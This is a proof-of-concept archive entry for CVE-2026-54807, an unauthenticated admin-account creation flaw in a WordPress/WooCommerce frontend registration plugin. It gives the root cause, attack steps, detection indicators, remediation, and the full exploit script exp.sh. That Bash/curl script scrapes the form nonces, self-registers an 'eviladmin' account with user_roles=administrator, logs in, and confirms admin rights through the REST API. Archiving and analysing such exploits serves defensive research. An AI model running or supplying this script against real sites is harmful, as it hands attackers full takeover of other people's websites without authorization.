PoC Archive PoC Archive
Not disclosed CVE-2026-54807 unpatched

WooCommerce Frontend Registration Form Unauthenticated Admin Role Assignment — CVE-2026-54807

by Not disclosed (repo owner: github.com/izxci) · 2026-07-05

Severity
Not disclosed
CVE
CVE-2026-54807
Category
web
Affected product
WordPress plugin exposing a custom WooCommerce-style frontend registration form (form fields prefixed tgwcfb_*)
Affected versions
Not disclosed in the source repo
Disclosed
2026-07-05
Patch status
unpatched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last UpdatedUnknown
Author / ResearcherNot disclosed (repo owner: github.com/izxci)
CVE / AdvisoryCVE-2026-54807
Categoryweb
SeverityNot disclosed
CVSS ScoreNot disclosed
StatusPoC
Tagswordpress, woocommerce, privilege-escalation, registration-form, admin-takeover, broken-access-control
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress plugin exposing a custom WooCommerce-style frontend registration form (form fields prefixed tgwcfb_*)
Versions AffectedNot disclosed in the source repo
Language / PlatformPHP / WordPress + WooCommerce; PoC written in Bash (curl)
Authentication RequiredNo
Network Access RequiredYes (HTTP access to the site’s frontend registration page)

Summary

The vulnerable plugin’s frontend user-registration form accepts a user_roles parameter directly from the unauthenticated registration POST request and trusts it when creating the new WordPress account, instead of forcing a safe default role (e.g. subscriber or customer). By submitting user_roles=administrator alongside the registration form’s nonces, an unauthenticated attacker can self-register a brand-new WordPress administrator account and log straight into wp-admin.

Vulnerability Details

Root Cause

Missing server-side role validation/allowlisting on a public-facing registration endpoint — the plugin passes an attacker-supplied user_roles form field straight through to the user-creation call (classic CWE-269 Improper Privilege Management / broken access control).

Attack Vector

  1. Attacker requests the site’s public registration page and scrapes the form’s tgwcfb_id, woocommerce-register-nonce, and tgwcfb-register-nonce values.
  2. Attacker submits a registration POST request with a generated username/email/password and user_roles=administrator.
  3. The plugin creates the account with the requested role instead of a restricted default.
  4. Attacker logs in as the newly created account via wp-login.php and confirms administrator role via the WordPress REST API (/wp/v2/users/me).

Impact

Unauthenticated full administrator account takeover of the WordPress site — complete compromise of site content, plugins, and (depending on hosting) potential path to server-level code execution via plugin/theme editing.

Environment / Lab Setup

Target:   WordPress + WooCommerce site running the vulnerable frontend registration-form plugin, registration page reachable over HTTP/HTTPS
Attacker: bash + curl (Linux/macOS shell, or WSL/Git Bash on Windows)

Proof of Concept

PoC Script

See exp.sh in this folder. Edit the TARGET and PAGE_ID variables at the top of the script before running.

1

bash exp.sh

The script scrapes the registration form’s nonces from the target page, submits a registration request with user_roles=administrator to create a rogue admin account, logs in with the new credentials, and queries the WordPress REST API to confirm the account was granted the administrator role.

Detection & IOCs

Signs of compromise:

  • New administrator accounts with unfamiliar usernames/emails and creation timestamps that don’t correspond to known admin onboarding
  • Registration POST requests containing a user_roles=administrator (or similar) parameter
  • Unexpected successful logins immediately following an unauthenticated registration request

Remediation

ActionDetail
Primary fixUpdate the affected plugin to a patched version once available; in the meantime, patch/override the registration handler to ignore or strictly allowlist the user_roles parameter, forcing new frontend registrations to a safe default role
Interim mitigationDisable the frontend registration form, or add a WAF/reverse-proxy rule blocking user_roles=administrator (and other privileged roles) in registration POST bodies; audit existing user list for unauthorized administrator accounts

References

Notes

Mirrored from https://github.com/izxci/CVE-2026-54807 on 2026-07-05. The upstream repo’s README consists mainly of a promotional link to a “PRIV8 TOOLS” Telegram channel and contains almost no technical write-up beyond the title; all vulnerability analysis above was derived directly from reading exp.sh. The CVE/vendor advisory did not disclose CVSS or precise affected version range at time of mirroring.

exp.sh
bash raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

#!/bin/bash

TARGET="https://target-site.com"
PAGE_ID="123"

echo "[*] Exploit başlatılıyor..."

# 1. Form bilgilerini al
echo "[+] Form bilgileri alınıyor..."
FORM_ID=$(curl -s "${TARGET}/?p=${PAGE_ID}" | grep -oP 'name="tgwcfb_id"\s+value="\K[^"]+')
WC_NONCE=$(curl -s "${TARGET}/?p=${PAGE_ID}" | grep -oP 'name="woocommerce-register-nonce"\s+value="\K[^"]+')
TGWCFB_NONCE=$(curl -s "${TARGET}/?p=${PAGE_ID}" | grep -oP 'name="tgwcfb-register-nonce"\s+value="\K[^"]+')

# 2. Admin oluştur
TIMESTAMP=$(date +%s)
EVIL_USER="eviladmin${TIMESTAMP}"
EVIL_PASS="EvilPass123!${TIMESTAMP}"

echo "[+] Admin kullanıcı oluşturuluyor: ${EVIL_USER}"
curl -s -c cookies.txt "${TARGET}/?p=${PAGE_ID}" \
  -X POST \
  -d "username=${EVIL_USER}" \
  -d "email=eviladmin${TIMESTAMP}@evil.com" \
  -d "password=${EVIL_PASS}" \
  -d "user_roles=administrator" \
  -d "tgwcfb_id=${FORM_ID}" \
  -d "woocommerce-register-nonce=${WC_NONCE}" \
  -d "tgwcfb-register-nonce=${TGWCFB_NONCE}" \
  -d "_wp_http_referer=/?p=${PAGE_ID}" \
  -d "register=Register" > /dev/null

# 3. Giriş yap
echo "[+] Admin girişi yapılıyor..."
curl -s -b cookies.txt -c cookies.txt "${TARGET}/wp-login.php" \
  -X POST \
  -d "log=${EVIL_USER}" \
  -d "pwd=${EVIL_PASS}" \
  -d "wp-submit=Log In" \
  -d "testcookie=1" > /dev/null

# 4. Doğrulama
echo "[+] Admin erişimi doğrulanıyor..."
REST_NONCE=$(curl -s -b cookies.txt "${TARGET}/wp-admin/admin-ajax.php?action=rest-nonce")
ROLES=$(curl -s -b cookies.txt "${TARGET}/?rest_route=/wp/v2/users/me&context=edit" \
  -H "X-WP-Nonce: ${REST_NONCE}" | grep -o '"roles":\[[^]]*\]')

if [[ $ROLES == *"administrator"* ]]; then
    echo "[✓] BAŞARILI!"
    echo "Admin URL: ${TARGET}/wp-admin/"
    echo "Kullanıcı: ${EVIL_USER}"
    echo "Şifre: ${EVIL_PASS}"
else
    echo "[✗] Başarısız oldu"
fi